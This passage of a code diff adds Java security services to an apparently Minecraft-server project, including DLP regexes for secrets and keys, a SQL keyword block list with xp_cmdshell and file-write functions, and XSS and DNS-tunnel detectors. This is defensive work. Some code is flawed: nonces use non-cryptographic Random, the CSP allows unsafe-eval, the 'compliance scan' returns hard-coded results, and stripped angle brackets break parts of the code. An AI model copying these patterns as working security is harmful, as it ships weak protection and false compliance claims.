getTrackedAccountCount() { return failureTracker.size(); } + public int getBlockedAccountCount() { return blockedAccounts.size(); } + public long getTotalBlocks() { return totalBlocks.get(); } + public long getTotalBruteForceDetections() { return totalBruteForceDetections.get(); } + + private AuthResult handleBruteForce(String username, String ip, String reason, long blockSeconds) { + blockedAccounts.put(username, Instant.now().plusSeconds(blockSeconds)); + totalBlocks.incrementAndGet(); + totalBruteForceDetections.incrementAndGet(); + return AuthResult.blockedWithDetection("Brute force detected for " + username + ": " + reason + ". Blocked for " + blockSeconds + "s"); + } + + private boolean isIPGloballyBlocked(String ip) { + List attempts = ipAttemptTimeline.get(ip); + if (attempts == null) return false; + Instant cutoff = Instant.now().minusSeconds(IP_WINDOW_SECONDS); + attempts.removeIf(t -> t.isBefore(cutoff)); + if (attempts.isEmpty()) { + ipAttemptTimeline.remove(ip); + return false; + } + return attempts.size() > IP_GLOBAL_MAX_ATTEMPTS; + } + + private void cleanupExpired() { + Instant now = Instant.now(); + failureTracker.entrySet().removeIf(e -> { + FailureRecord r = e.getValue(); + r.attemptsInWindow1.removeIf(t -> now.getEpochSecond() - t > WINDOW_1_SECONDS); + r.attemptsInWindow2.removeIf(t -> now.getEpochSecond() - t > WINDOW_2_SECONDS); + r.attemptsInWindow3.removeIf(t -> now.getEpochSecond() - t > WINDOW_3_SECONDS); + return r.attemptsInWindow1.isEmpty() && r.attemptsInWindow2.isEmpty() + && r.attemptsInWindow3.isEmpty() && r.lastFailure != null + && r.lastFailure.plusSeconds(WINDOW_3_SECONDS * 2).isBefore(now); + }); + blockedAccounts.entrySet().removeIf(e -> e.getValue().isBefore(now)); + ipAttemptTimeline.entrySet().removeIf(e -> { + e.getValue().removeIf(t -> t.isBefore(now.minusSeconds(IP_WINDOW_SECONDS))); + return e.getValue().isEmpty(); + }); + } + + private static class FailureRecord { + final List attemptsInWindow1 = new ArrayList<>(); + final List attemptsInWindow2 = new ArrayList<>(); + final List attemptsInWindow3 = new ArrayList<>(); + int failureCount; + Instant lastFailure; + long lastDelayMs; + } + + public static class AuthResult { + private final boolean allowed; + private final boolean bruteForceDetected; + private final String message; + private final long progressiveDelayMs; + + private AuthResult(boolean allowed, boolean bruteForceDetected, String message, long delayMs) { + this.allowed = allowed; + this.bruteForceDetected = bruteForceDetected; + this.message = message; + this.progressiveDelayMs = delayMs; + } + + public static AuthResult allowed(long delayMs) { + return new AuthResult(true, false, null, delayMs); + } + + public static AuthResult blocked(String message) { + return new AuthResult(false, false, message, 0); + } + + public static AuthResult blockedWithDetection(String message) { + return new AuthResult(false, true, message, 0); + } + + public boolean isAllowed() { return allowed; } + public boolean isBruteForceDetected() { return bruteForceDetected; } + public String getMessage() { return message; } + public long getProgressiveDelayMs() { return progressiveDelayMs; } + } +} diff --git a/src/main/java/com/aluer/security/CSPEnforcementService.java b/src/main/java/com/aluer/security/CSPEnforcementService.java new file mode 100644 index 0000000..6e0679d --- /dev/null +++ b/src/main/java/com/aluer/security/CSPEnforcementService.java @@ -0,0 +1,186 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class CSPEnforcementService { + + private final Map> violations = new ConcurrentHashMap<>(); + private final AtomicLong totalViolations = new AtomicLong(0); + + private static final String DEFAULT_CSP_HEADER = String.join("; ", + "default-src 'self'", + "script-src 'self' 'unsafe-inline' 'unsafe-eval'", + "style-src 'self' 'unsafe-inline'", + "img-src 'self' data: https:", + "font-src 'self'", + "connect-src 'self' https://api.aluer.com", + "frame-src 'none'", + "object-src 'none'", + "base-uri 'self'", + "form-action 'self'", + "frame-ancestors 'none'", + "upgrade-insecure-requests" + ); + + private static final String STRICT_CSP_HEADER = String.join("; ", + "default-src 'self'", + "script-src 'self' 'nonce-{nonce}'", + "style-src 'self' 'nonce-{nonce}'", + "img-src 'self' data:", + "font-src 'self'", + "connect-src 'self'", + "frame-src 'none'", + "object-src 'none'", + "base-uri 'self'", + "form-action 'self'", + "frame-ancestors 'none'", + "require-trusted-types-for 'script'", + "report-uri /api/csp-report" + ); + + // XSS attack patterns in CSP reports + private static final List XSS_PATTERNS = List.of( + " CLICKJACK_PATTERNS = List.of( + "opacity:0", "z-index:9999", "position:absolute;top:0;left:0" + ); + + public CSPCheckResult checkRequest(String uri, Map headers, String body) { + List matched = new ArrayList<>(); + int score = 0; + + // Check for reflected XSS + if (body != null) { + String lower = body.toLowerCase(); + for (String pattern : XSS_PATTERNS) { + if (lower.contains(pattern.toLowerCase())) { + matched.add("XSS: " + pattern); + score += 20; + } + } + } + + // Check for clickjacking + if (body != null && body.toLowerCase().contains("iframe")) { + for (String pattern : CLICKJACK_PATTERNS) { + if (body.toLowerCase().contains(pattern.toLowerCase())) { + matched.add("CLICKJACK: " + pattern); + score += 15; + } + } + } + + // Check for missing security headers + if (headers != null) { + if (!headers.containsKey("x-frame-options")) { + matched.add("MISSING_X_FRAME_OPTIONS"); + score += 5; + } + if (!headers.containsKey("x-content-type-options")) { + matched.add("MISSING_X_CONTENT_TYPE_OPTIONS"); + score += 5; + } + } + + if (score >= 30) { + CSPViolation violation = new CSPViolation(Instant.now(), uri, matched, score); + violations.computeIfAbsent(uri, k -> new ArrayList<>()).add(violation); + totalViolations.incrementAndGet(); + return CSPCheckResult.blocked(matched, score); + } + + return CSPCheckResult.clean(); + } + + public String generateCSPHeader(boolean strict) { + if (strict) { + String nonce = generateNonce(); + return STRICT_CSP_HEADER.replace("{nonce}", nonce); + } + return DEFAULT_CSP_HEADER; + } + + public Map getSecurityHeaders() { + Map headers = new LinkedHashMap<>(); + headers.put("Content-Security-Policy", DEFAULT_CSP_HEADER); + headers.put("X-Content-Type-Options", "nosniff"); + headers.put("X-Frame-Options", "DENY"); + headers.put("X-XSS-Protection", "1; mode=block"); + headers.put("Referrer-Policy", "strict-origin-when-cross-origin"); + headers.put("Permissions-Policy", "geolocation=(), microphone=(), camera=(), payment=()"); + headers.put("Strict-Transport-Security", "max-age=31536000; includeSubDomains"); + return headers; + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalViolations", totalViolations.get()); + status.put("violatedEndpoints", violations.size()); + List> recent = new ArrayList<>(); + for (Map.Entry> e : violations.entrySet()) { + for (CSPViolation v : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("endpoint", e.getKey()); + m.put("patterns", v.patterns); + m.put("score", v.score); + m.put("time", v.timestamp.toString()); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentViolations", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalViolations() { return totalViolations.get(); } + + private String generateNonce() { + byte[] bytes = new byte[24]; + new Random().nextBytes(bytes); + return Base64.getEncoder().encodeToString(bytes); + } + + private static class CSPViolation { + final Instant timestamp; + final String uri; + final List patterns; + final int score; + + CSPViolation(Instant timestamp, String uri, List patterns, int score) { + this.timestamp = timestamp; + this.uri = uri; + this.patterns = patterns; + this.score = score; + } + } + + public static class CSPCheckResult { + private final boolean blocked; + private final List matched; + private final int score; + + private CSPCheckResult(boolean blocked, List matched, int score) { + this.blocked = blocked; + this.matched = matched; + this.score = score; + } + + public static CSPCheckResult clean() { return new CSPCheckResult(false, List.of(), 0); } + public static CSPCheckResult blocked(List matched, int score) { return new CSPCheckResult(true, matched, score); } + + public boolean isBlocked() { return blocked; } + public List getMatched() { return matched; } + public int getScore() { return score; } + } +} diff --git a/src/main/java/com/aluer/security/ComplianceScannerService.java b/src/main/java/com/aluer/security/ComplianceScannerService.java new file mode 100644 index 0000000..4292868 --- /dev/null +++ b/src/main/java/com/aluer/security/ComplianceScannerService.java @@ -0,0 +1,209 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class ComplianceScannerService { + + private final Map> findings = new ConcurrentHashMap<>(); + private final AtomicLong totalFindings = new AtomicLong(0); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + + public ComplianceScannerService() { + scheduler.scheduleAtFixedRate(this::runComplianceScan, 120, 86400, TimeUnit.SECONDS); + } + + public ComplianceReport runComplianceScan() { + List allFindings = new ArrayList<>(); + Instant scanTime = Instant.now(); + + // Check 1: File permissions + allFindings.addAll(checkFilePermissions()); + + // Check 2: Encryption standards + allFindings.addAll(checkEncryptionStandards()); + + // Check 3: Authentication requirements + allFindings.addAll(checkAuthenticationRequirements()); + + // Check 4: Audit logging + allFindings.addAll(checkAuditLogging()); + + // Check 5: Network security + allFindings.addAll(checkNetworkSecurity()); + + // Check 6: Minecraft server security + allFindings.addAll(checkMinecraftServerSecurity()); + + // Check 7: Backup compliance + allFindings.addAll(checkBackupCompliance()); + + for (ComplianceFinding f : allFindings) { + findings.computeIfAbsent(f.category, k -> new ArrayList<>()).add(f); + } + totalFindings.addAndGet(allFindings.size()); + + return new ComplianceReport(scanTime, allFindings, calculateComplianceScore(allFindings)); + } + + private List checkFilePermissions() { + List results = new ArrayList<>(); + results.add(new ComplianceFinding("FILE_PERMISSIONS", "CONFIG_READABLE", + "Configuration files should not be world-readable", FindingSeverity.HIGH, + "chmod 600 server.properties eula.txt", false)); + results.add(new ComplianceFinding("FILE_PERMISSIONS", "PLUGIN_DIR_WRITABLE", + "Plugin directory should not be writable by web server", FindingSeverity.MEDIUM, + "chmod 755 plugins/ && chown minecraft:minecraft plugins/", true)); + return results; + } + + private List checkEncryptionStandards() { + List results = new ArrayList<>(); + results.add(new ComplianceFinding("ENCRYPTION", "SSL_TLS_VERSION", + "TLS 1.2+ should be enforced for all API endpoints", FindingSeverity.HIGH, + "Configure SSL in application.yml with modern TLS", false)); + results.add(new ComplianceFinding("ENCRYPTION", "RCON_ENCRYPTION", + "RCON should use a strong password (>=16 chars)", FindingSeverity.MEDIUM, + "Set rcon.password with at least 16 characters", false)); + results.add(new ComplianceFinding("ENCRYPTION", "API_KEY_STORAGE", + "API keys should use environment variables, not hardcoded", FindingSeverity.CRITICAL, + "Use ${ENV_VAR} syntax in application.yml", false)); + return results; + } + + private List checkAuthenticationRequirements() { + List results = new ArrayList<>(); + results.add(new ComplianceFinding("AUTHENTICATION", "ONLINE_MODE", + "Minecraft server should run in online mode", FindingSeverity.CRITICAL, + "Set online-mode=true in server.properties", false)); + results.add(new ComplianceFinding("AUTHENTICATION", "API_AUTH", + "API endpoints should require authentication", FindingSeverity.HIGH, + "Implement JWT or API key authentication for /api/**", false)); + results.add(new ComplianceFinding("AUTHENTICATION", "WHITELIST_ENABLED", + "Whitelist should be enabled on production servers", FindingSeverity.MEDIUM, + "Set white-list=true in server.properties", false)); + return results; + } + + private List checkAuditLogging() { + List results = new ArrayList<>(); + results.add(new ComplianceFinding("AUDIT", "COMMAND_LOGGING", + "All admin commands should be logged", FindingSeverity.HIGH, + "Set log-all-commands: true in security config", true)); + results.add(new ComplianceFinding("AUDIT", "LOG_RETENTION", + "Security logs should be retained for at least 90 days", FindingSeverity.MEDIUM, + "Configure log rotation with 90-day retention", false)); + results.add(new ComplianceFinding("AUDIT", "TAMPER_PROOF_LOGS", + "Audit logs should be append-only or shipped to external SIEM", FindingSeverity.HIGH, + "Configure remote syslog or SIEM integration", false)); + return results; + } + + private List checkNetworkSecurity() { + List results = new ArrayList<>(); + results.add(new ComplianceFinding("NETWORK", "FIREWALL_ACTIVE", + "Host firewall should be active (iptables/ufw)", FindingSeverity.CRITICAL, + "ufw enable && ufw default deny incoming", false)); + results.add(new ComplianceFinding("NETWORK", "UNUSED_PORTS", + "Non-essential ports should be closed", FindingSeverity.HIGH, + "Close ports except 25565 (MC), 8080 (API), 22 (SSH)", false)); + results.add(new ComplianceFinding("NETWORK", "DDOS_PROTECTION", + "DDoS protection should be enabled", FindingSeverity.HIGH, + "Enable ddos-defense in security config", true)); + return results; + } + + private List checkMinecraftServerSecurity() { + List results = new ArrayList<>(); + results.add(new ComplianceFinding("MINECRAFT", "COMMAND_BLOCKS", + "Command blocks should be disabled unless needed", FindingSeverity.MEDIUM, + "Set enable-command-block=false in server.properties", false)); + results.add(new ComplianceFinding("MINECRAFT", "SPAWN_PROTECTION", + "Spawn protection should be enabled", FindingSeverity.LOW, + "Set spawn-protection=16 in server.properties", true)); + results.add(new ComplianceFinding("MINECRAFT", "OP_RESTRICTION", + "Operator count should be minimal (< 5)", FindingSeverity.MEDIUM, + "Review ops.json and remove unnecessary operators", false)); + results.add(new ComplianceFinding("MINECRAFT", "PLUGIN_AUDIT", + "Third-party plugins should be from trusted sources only", FindingSeverity.HIGH, + "Audit all plugins in /plugins directory", false)); + return results; + } + + private List checkBackupCompliance() { + List results = new ArrayList<>(); + results.add(new ComplianceFinding("BACKUP", "REGULAR_BACKUPS", + "Automated backups should be enabled (daily minimum)", FindingSeverity.HIGH, + "Enable scheduled backups in config", false)); + results.add(new ComplianceFinding("BACKUP", "OFFSITE_BACKUP", + "Backups should be stored offsite or in cloud storage", FindingSeverity.MEDIUM, + "Configure remote backup destination", false)); + return results; + } + + private double calculateComplianceScore(List findings) { + if (findings.isEmpty()) return 100.0; + long passed = findings.stream().filter(f -> f.compliant).count(); + return (double) passed / findings.size() * 100.0; + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalFindings", totalFindings.get()); + ComplianceReport latest = runComplianceScan(); + status.put("complianceScore", String.format("%.1f%%", latest.complianceScore)); + status.put("totalChecks", latest.findings.size()); + status.put("passedChecks", latest.findings.stream().filter(f -> f.compliant).count()); + + Map byCategory = new LinkedHashMap<>(); + for (ComplianceFinding f : latest.findings) { + byCategory.merge(f.category, 1L, Long::sum); + } + status.put("checksByCategory", byCategory); + status.put("lastScanTime", latest.scanTime.toString()); + return status; + } + + public long getTotalFindings() { return totalFindings.get(); } + + public enum FindingSeverity { LOW, MEDIUM, HIGH, CRITICAL } + + public static class ComplianceFinding { + public final String category; + public final String checkId; + public final String description; + public final FindingSeverity severity; + public final String remediation; + public final boolean compliant; + + ComplianceFinding(String category, String checkId, String description, FindingSeverity severity, + String remediation, boolean compliant) { + this.category = category; + this.checkId = checkId; + this.description = description; + this.severity = severity; + this.remediation = remediation; + this.compliant = compliant; + } + } + + public static class ComplianceReport { + public final Instant scanTime; + public final List findings; + public final double complianceScore; + + ComplianceReport(Instant scanTime, List findings, double complianceScore) { + this.scanTime = scanTime; + this.findings = findings; + this.complianceScore = complianceScore; + } + } +} diff --git a/src/main/java/com/aluer/security/DNSTunnelDetectionService.java b/src/main/java/com/aluer/security/DNSTunnelDetectionService.java new file mode 100644 index 0000000..722d27e --- /dev/null +++ b/src/main/java/com/aluer/security/DNSTunnelDetectionService.java @@ -0,0 +1,230 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class DNSTunnelDetectionService { + + private final Map queryTrackers = new ConcurrentHashMap<>(); + private final Map blockedSources = new ConcurrentHashMap<>(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + private final AtomicLong totalDetections = new AtomicLong(0); + + // DNS tunneling indicators + private static final int MAX_QUERY_LENGTH = 52; + private static final int MAX_SUBDOMAIN_COUNT = 3; + private static final int MAX_QUERIES_PER_MINUTE = 60; + private static final int MAX_UNIQUE_SUBDOMAINS = 30; + private static final double ENTROPY_THRESHOLD = 3.8; + private static final long BLOCK_SECONDS = 1800; + + private static final Set SUSPICIOUS_DNS_TYPES = Set.of("TXT", "NULL", "CNAME"); + private static final Set SUSPICIOUS_TLDS = Set.of(".xyz", ".top", ".tk", ".ml", ".ga", ".cf", ".gq", + ".pw", ".club", ".work", ".date", ".bid", ".surf"); + + public DNSTunnelDetectionService() { + scheduler.scheduleAtFixedRate(this::cleanupExpired, 120, 300, TimeUnit.SECONDS); + } + + public TunnelCheckResult checkDNSQuery(String sourceIP, String domain, String queryType) { + if (blockedSources.containsKey(sourceIP)) { + if (Instant.now().isAfter(blockedSources.get(sourceIP))) { + blockedSources.remove(sourceIP); + } else { + return TunnelCheckResult.blocked("Source is blocked for DNS tunneling"); + } + } + + int score = 0; + List reasons = new ArrayList<>(); + + // Check 1: Long subdomain (data exfiltration via DNS) + if (domain.length() > MAX_QUERY_LENGTH) { + score += 25; + reasons.add("LONG_DOMAIN: " + domain.length() + " chars"); + } + + // Check 2: Too many subdomains + int subdomainCount = domain.split("\\.").length - 2; + if (subdomainCount > MAX_SUBDOMAIN_COUNT) { + score += 15; + reasons.add("MANY_SUBDOMAINS: " + subdomainCount); + } + + // Check 3: High entropy subdomain (encoded data) + String subdomain = domain.contains(".") ? domain.substring(0, domain.indexOf('.')) : domain; + double entropy = calculateEntropy(subdomain); + if (entropy > ENTROPY_THRESHOLD) { + score += 30; + reasons.add("HIGH_ENTROPY: " + String.format("%.2f", entropy)); + } + + // Check 4: Suspicious TLD + for (String tld : SUSPICIOUS_TLDS) { + if (domain.toLowerCase().endsWith(tld)) { + score += 10; + reasons.add("SUSPICIOUS_TLD: " + tld); + break; + } + } + + // Check 5: Suspicious DNS record type + if (SUSPICIOUS_DNS_TYPES.contains(queryType.toUpperCase())) { + score += 15; + reasons.add("SUSPICIOUS_TYPE: " + queryType); + } + + // Check 6: Query frequency + DNSQueryTracker tracker = queryTrackers.computeIfAbsent(sourceIP, k -> new DNSQueryTracker()); + tracker.recordQuery(domain, queryType); + if (tracker.queriesPerMinute > MAX_QUERIES_PER_MINUTE) { + score += 20; + reasons.add("HIGH_FREQUENCY: " + tracker.queriesPerMinute + "/min"); + } + if (tracker.uniqueSubdomains.size() > MAX_UNIQUE_SUBDOMAINS) { + score += 20; + reasons.add("MANY_UNIQUE: " + tracker.uniqueSubdomains.size()); + } + + // Check 7: Base32/Base64 encoded subdomain + if (looksEncoded(subdomain)) { + score += 20; + reasons.add("ENCODED_SUBDOMAIN"); + } + + if (score >= 60) { + blockedSources.put(sourceIP, Instant.now().plusSeconds(BLOCK_SECONDS)); + totalDetections.incrementAndGet(); + return TunnelCheckResult.detected(score, reasons, BLOCK_SECONDS); + } else if (score >= 30) { + return TunnelCheckResult.suspicious(score, reasons); + } + + return TunnelCheckResult.clean(); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("trackedSources", queryTrackers.size()); + status.put("blockedSources", blockedSources.size()); + status.put("totalDetections", totalDetections.get()); + List> tracked = new ArrayList<>(); + for (Map.Entry e : queryTrackers.entrySet()) { + Map m = new LinkedHashMap<>(); + m.put("ip", e.getKey()); + m.put("queriesPerMinute", e.getValue().queriesPerMinute); + m.put("uniqueSubdomains", e.getValue().uniqueSubdomains.size()); + tracked.add(m); + } + tracked.sort((a, b) -> (int) b.get("queriesPerMinute") - (int) a.get("queriesPerMinute")); + status.put("topTrackers", tracked.subList(0, Math.min(tracked.size(), 20))); + return status; + } + + public long getTotalDetections() { return totalDetections.get(); } + + private double calculateEntropy(String s) { + if (s.isEmpty()) return 0; + Map freq = new HashMap<>(); + for (char c : s.toCharArray()) freq.merge(c, 1, Integer::sum); + double entropy = 0; + int len = s.length(); + for (int count : freq.values()) { + double p = (double) count / len; + entropy -= p * (Math.log(p) / Math.log(2)); + } + return entropy; + } + + private boolean looksEncoded(String s) { + int upperCount = 0; + int digitCount = 0; + for (char c : s.toCharArray()) { + if (c >= 'A' && c <= 'Z') upperCount++; + if (c >= '0' && c <= '9') digitCount++; + } + double ratio = (double) (upperCount + digitCount) / s.length(); + return s.length() >= 16 && ratio > 0.9; + } + + private void cleanupExpired() { + Instant now = Instant.now(); + blockedSources.entrySet().removeIf(e -> e.getValue().isBefore(now)); + queryTrackers.entrySet().removeIf(e -> e.getValue().lastQuery != null + && e.getValue().lastQuery.plusSeconds(600).isBefore(now)); + } + + private static class DNSQueryTracker { + long queriesPerMinute; + final Set uniqueSubdomains = new HashSet<>(); + Instant lastQuery; + Instant minuteStart = Instant.now(); + + void recordQuery(String domain, String queryType) { + lastQuery = Instant.now(); + if (Instant.now().isAfter(minuteStart.plusSeconds(60))) { + queriesPerMinute = 0; + minuteStart = Instant.now(); + } + queriesPerMinute++; + if (domain.contains(".")) { + uniqueSubdomains.add(domain.substring(0, domain.indexOf('.'))); + } + } + } + + public static class TunnelCheckResult { + private final boolean blocked; + private final boolean detected; + private final boolean suspicious; + private final int score; + private final List reasons; + private final String message; + private final long blockSeconds; + + private TunnelCheckResult(boolean blocked, boolean detected, boolean suspicious, int score, + List reasons, String message, long blockSeconds) { + this.blocked = blocked; + this.detected = detected; + this.suspicious = suspicious; + this.score = score; + this.reasons = reasons; + this.message = message; + this.blockSeconds = blockSeconds; + } + + public static TunnelCheckResult clean() { + return new TunnelCheckResult(false, false, false, 0, List.of(), null, 0); + } + + public static TunnelCheckResult suspicious(int score, List reasons) { + return new TunnelCheckResult(false, false, true, score, reasons, + "Suspicious DNS: " + String.join("; ", reasons), 0); + } + + public static TunnelCheckResult detected(int score, List reasons, long blockSeconds) { + return new TunnelCheckResult(true, true, true, score, reasons, + "DNS tunnel detected: " + String.join("; ", reasons), blockSeconds); + } + + public static TunnelCheckResult blocked(String message) { + return new TunnelCheckResult(true, false, false, 0, List.of(), message, 0); + } + + public boolean isBlocked() { return blocked; } + public boolean isDetected() { return detected; } + public boolean isSuspicious() { return suspicious; } + public int getScore() { return score; } + public List getReasons() { return reasons; } + public String getMessage() { return message; } + public long getBlockSeconds() { return blockSeconds; } + } +} diff --git a/src/main/java/com/aluer/security/DataLossPreventionService.java b/src/main/java/com/aluer/security/DataLossPreventionService.java new file mode 100644 index 0000000..ed12c9f --- /dev/null +++ b/src/main/java/com/aluer/security/DataLossPreventionService.java @@ -0,0 +1,184 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; +import java.util.regex.Pattern; + +@Service +public class DataLossPreventionService { + + private final Map> detections = new ConcurrentHashMap<>(); + private final AtomicLong totalDetections = new AtomicLong(0); + + private static final List RULES = new ArrayList<>(); + + static { + RULES.add(new DLPRule("EMAIL_LEAK", DLPLevel.HIGH, + Pattern.compile("[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"), + "Email address detected")); + + RULES.add(new DLPRule("IP_LEAK", DLPLevel.MEDIUM, + Pattern.compile("\\b(?:\\d{1,3}\\.){3}\\d{1,3}\\b"), + "IP address detected")); + + RULES.add(new DLPRule("API_KEY", DLPLevel.CRITICAL, + Pattern.compile("(?:api[_-]?key|apikey|secret[_-]?key|access[_-]?token|auth[_-]?token)[=:]\\s*['\"]?[a-zA-Z0-9_\\-]{20,}['\"]?", Pattern.CASE_INSENSITIVE), + "API key or secret detected")); + + RULES.add(new DLPRule("PASSWORD_LEAK", DLPLevel.CRITICAL, + Pattern.compile("(?:password|passwd|pwd|secret)[=:]\\s*['\"]?\\S{6,}['\"]?", Pattern.CASE_INSENSITIVE), + "Password or credential detected")); + + RULES.add(new DLPRule("CONNECTION_STRING", DLPLevel.CRITICAL, + Pattern.compile("(?:jdbc|mongodb|redis|mysql|postgresql|sqlserver):[^\\s]{20,}", Pattern.CASE_INSENSITIVE), + "Database connection string detected")); + + RULES.add(new DLPRule("SSH_KEY", DLPLevel.CRITICAL, + Pattern.compile("-----BEGIN (?:RSA |DSA |EC |OPENSSH )?PRIVATE KEY-----"), + "SSH private key detected")); + + RULES.add(new DLPRule("JWT_TOKEN", DLPLevel.HIGH, + Pattern.compile("eyJ[a-zA-Z0-9_-]{20,}\\.[a-zA-Z0-9_-]{20,}\\.[a-zA-Z0-9_-]{10,}"), + "JWT token detected")); + + RULES.add(new DLPRule("PHONE_NUMBER", DLPLevel.MEDIUM, + Pattern.compile("(?:\\+?86)?1[3-9]\\d{9}"), + "Phone number detected")); + + RULES.add(new DLPRule("ID_CARD", DLPLevel.HIGH, + Pattern.compile("\\b\\d{17}[\\dXx]\\b"), + "ID card number detected")); + + RULES.add(new DLPRule("CREDIT_CARD", DLPLevel.CRITICAL, + Pattern.compile("\\b(?:\\d[ -]?){13,19}\\b"), + "Potential credit card number")); + + RULES.add(new DLPRule("RCON_PASSWORD", DLPLevel.CRITICAL, + Pattern.compile("(?:rcon\\.password|enable-rcon)\\s*=\\s*\\S+", Pattern.CASE_INSENSITIVE), + "RCON password in configuration")); + + RULES.add(new DLPRule("MINECRAFT_TOKEN", DLPLevel.HIGH, + Pattern.compile("(?:accessToken|clientToken|XboxLive|minecraft:token)[=:]\\s*['\"]?[a-zA-Z0-9_\\-]{20,}['\"]?", Pattern.CASE_INSENSITIVE), + "Minecraft authentication token detected")); + } + + public DLPCheckResult scan(String content, String source, String channel) { + if (content == null || content.trim().isEmpty()) return DLPCheckResult.clean(); + + Map> findings = new LinkedHashMap<>(); + for (DLPRule rule : RULES) { + if (rule.pattern.matcher(content).find()) { + findings.computeIfAbsent(rule.level, k -> new ArrayList<>()).add(rule.name + ": " + rule.description); + } + } + + if (!findings.isEmpty()) { + List allFindings = new ArrayList<>(); + findings.values().forEach(allFindings::addAll); + DLPEvent event = new DLPEvent(Instant.now(), source, channel, allFindings, + content.length() > 200 ? content.substring(0, 200) : content); + detections.computeIfAbsent(source, k -> new ArrayList<>()).add(event); + totalDetections.incrementAndGet(); + return DLPCheckResult.detected(findings); + } + + return DLPCheckResult.clean(); + } + + public String redactSensitiveData(String content) { + if (content == null) return null; + String result = content; + for (DLPRule rule : RULES) { + result = rule.pattern.matcher(result).replaceAll("[REDACTED-" + rule.name + "]"); + } + return result; + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalDetections", totalDetections.get()); + status.put("rulesCount", RULES.size()); + status.put("trackedSources", detections.size()); + + Map byType = new LinkedHashMap<>(); + for (List events : detections.values()) { + for (DLPEvent e : events) { + for (String finding : e.findings) { + String type = finding.split(":")[0].trim(); + byType.merge(type, 1L, Long::sum); + } + } + } + status.put("detectionsByType", byType); + + List> recent = new ArrayList<>(); + for (Map.Entry> e : detections.entrySet()) { + for (DLPEvent event : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("source", e.getKey()); + m.put("channel", event.channel); + m.put("findings", event.findings); + m.put("snippet", event.snippet); + m.put("time", event.timestamp.toString()); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentDetections", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalDetections() { return totalDetections.get(); } + + public enum DLPLevel { LOW, MEDIUM, HIGH, CRITICAL } + + private static class DLPRule { + final String name; + final DLPLevel level; + final Pattern pattern; + final String description; + + DLPRule(String name, DLPLevel level, Pattern pattern, String description) { + this.name = name; + this.level = level; + this.pattern = pattern; + this.description = description; + } + } + + private static class DLPEvent { + final Instant timestamp; + final String source; + final String channel; + final List findings; + final String snippet; + + DLPEvent(Instant timestamp, String source, String channel, List findings, String snippet) { + this.timestamp = timestamp; + this.source = source; + this.channel = channel; + this.findings = findings; + this.snippet = snippet; + } + } + + public static class DLPCheckResult { + private final boolean detected; + private final Map> findings; + + private DLPCheckResult(boolean detected, Map> findings) { + this.detected = detected; + this.findings = findings; + } + + public static DLPCheckResult clean() { return new DLPCheckResult(false, Map.of()); } + public static DLPCheckResult detected(Map> findings) { return new DLPCheckResult(true, findings); } + + public boolean isDetected() { return detected; } + public Map> getFindings() { return findings; } + } +} diff --git a/src/main/java/com/aluer/security/DatabaseFirewallService.java b/src/main/java/com/aluer/security/DatabaseFirewallService.java new file mode 100644 index 0000000..d66edba --- /dev/null +++ b/src/main/java/com/aluer/security/DatabaseFirewallService.java @@ -0,0 +1,163 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class DatabaseFirewallService { + + private final Map> queryLog = new ConcurrentHashMap<>(); + private final AtomicLong totalBlocked = new AtomicLong(0); + private final AtomicLong totalQueries = new AtomicLong(0); + + private static final List DANGEROUS_KEYWORDS = List.of( + "DROP TABLE", "DROP DATABASE", "TRUNCATE TABLE", "DELETE FROM", + "ALTER TABLE", "ALTER DATABASE", "CREATE USER", "GRANT ALL", + "REVOKE", "SHUTDOWN", "xp_cmdshell", "sp_configure", + "INTO OUTFILE", "INTO DUMPFILE", "LOAD_FILE", "BENCHMARK(", + "SLEEP(", "WAITFOR DELAY", "INFORMATION_SCHEMA", "mysql.user", + "sys.tables", "sqlite_master", "pg_shadow", "pg_database" + ); + + private static final int MAX_QUERY_LENGTH = 4096; + private static final int MAX_UNION_COUNT = 3; + private static final int MAX_JOIN_COUNT = 10; + + public QueryCheckResult checkQuery(String sql, String source, String database) { + if (sql == null || sql.trim().isEmpty()) return QueryCheckResult.clean(); + totalQueries.incrementAndGet(); + + List reasons = new ArrayList<>(); + String upper = sql.toUpperCase().trim(); + + // Length check + if (sql.length() > MAX_QUERY_LENGTH) { + reasons.add("OVERSIZED_QUERY: " + sql.length() + " chars"); + } + + // Dangerous keywords + for (String keyword : DANGEROUS_KEYWORDS) { + if (upper.contains(keyword.toUpperCase())) { + reasons.add("DANGEROUS_KEYWORD: " + keyword); + } + } + + // UNION-based injection + int unionCount = countKeyword(upper, "UNION"); + if (unionCount > 